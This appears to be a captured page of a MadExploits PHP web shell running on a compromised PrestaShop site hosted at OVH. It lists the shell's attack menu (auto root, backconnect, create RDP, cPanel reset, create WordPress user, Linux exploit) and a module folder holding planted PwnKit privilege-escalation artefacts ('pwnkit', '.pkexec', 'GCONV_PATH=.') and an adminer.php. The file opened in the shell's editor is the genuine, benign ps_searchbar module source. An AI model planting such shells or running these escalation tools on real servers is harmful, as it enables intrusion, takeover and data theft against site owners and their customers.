Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
ps_searchbar /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
translations
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
composer.lock
63.63
KB
-rw----r--
config.xml
410
B
-rw----r--
config_fr.xml
516
B
-rw----r--
index.php
1.3
KB
-rw----r--
logo.png
5.47
KB
-rw----r--
ps_searchbar.js
1.18
KB
-rw----r--
ps_searchbar.php
3.65
KB
-rw----r--
ps_searchbar.tpl
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ps_searchbar.php
<?php /** * 2007-2020 PrestaShop SA and Contributors * * NOTICE OF LICENSE * * This source file is subject to the Academic Free License 3.0 (AFL-3.0) * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/AFL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://www.prestashop.com for more information. * * @author PrestaShop SA <contact@prestashop.com> * @copyright 2007-2020 PrestaShop SA and Contributors * @license https://opensource.org/licenses/AFL-3.0 Academic Free License 3.0 (AFL-3.0) * International Registered Trademark & Property of PrestaShop SA */ if (!defined('_PS_VERSION_')) { exit; } $autoloadPath = __DIR__ . '/vendor/autoload.php'; if (file_exists($autoloadPath)) { require_once $autoloadPath; } use PrestaShop\PrestaShop\Core\Module\WidgetInterface; class Ps_Searchbar extends Module implements WidgetInterface { /** * @var string Name of the module running on PS 1.6.x. Used for data migration. */ const PS_16_EQUIVALENT_MODULE = 'blocksearch'; private $templateFile; public function __construct() { $this->name = 'ps_searchbar'; $this->author = 'PrestaShop'; $this->version = '2.0.2'; $this->need_instance = 0; parent::__construct(); $this->displayName = $this->trans('Search bar', [], 'Modules.Searchbar.Admin'); $this->description = $this->trans('Help your visitors find what they are looking for, add a quick search field to your store.', [], 'Modules.Searchbar.Admin'); $this->ps_versions_compliancy = ['min' => '1.7.1.0', 'max' => _PS_VERSION_]; $this->templateFile = 'module:ps_searchbar/ps_searchbar.tpl'; } public function install() { // Migrate data from 1.6 equivalent module (if applicable), then uninstall if (Module::isInstalled(self::PS_16_EQUIVALENT_MODULE)) { $oldModule = Module::getInstanceByName(self::PS_16_EQUIVALENT_MODULE); if ($oldModule) { $oldModule->uninstall(); } } return parent::install() && $this->registerHook('top') && $this->registerHook('displaySearch') && $this->registerHook('header') ; } public function hookHeader() { $this->context->controller->addJqueryUI('ui.autocomplete'); $this->context->controller->registerJavascript('modules-searchbar', 'modules/' . $this->name . '/ps_searchbar.js', ['position' => 'bottom', 'priority' => 150]); } public function getWidgetVariables($hookName, array $configuration = []) { $widgetVariables = [ 'search_controller_url' => $this->context->link->getPageLink('search', null, null, null, false, null, true), ]; /** @var array $templateVars */ $templateVars = $this->context->smarty->getTemplateVars(); if (is_array($templateVars) && !array_key_exists('search_string', $templateVars)) { $widgetVariables['search_string'] = ''; } return $widgetVariables; } public function renderWidget($hookName, array $configuration = []) { $this->smarty->assign($this->getWidgetVariables($hookName, $configuration)); return $this->fetch($this->templateFile); } }
Close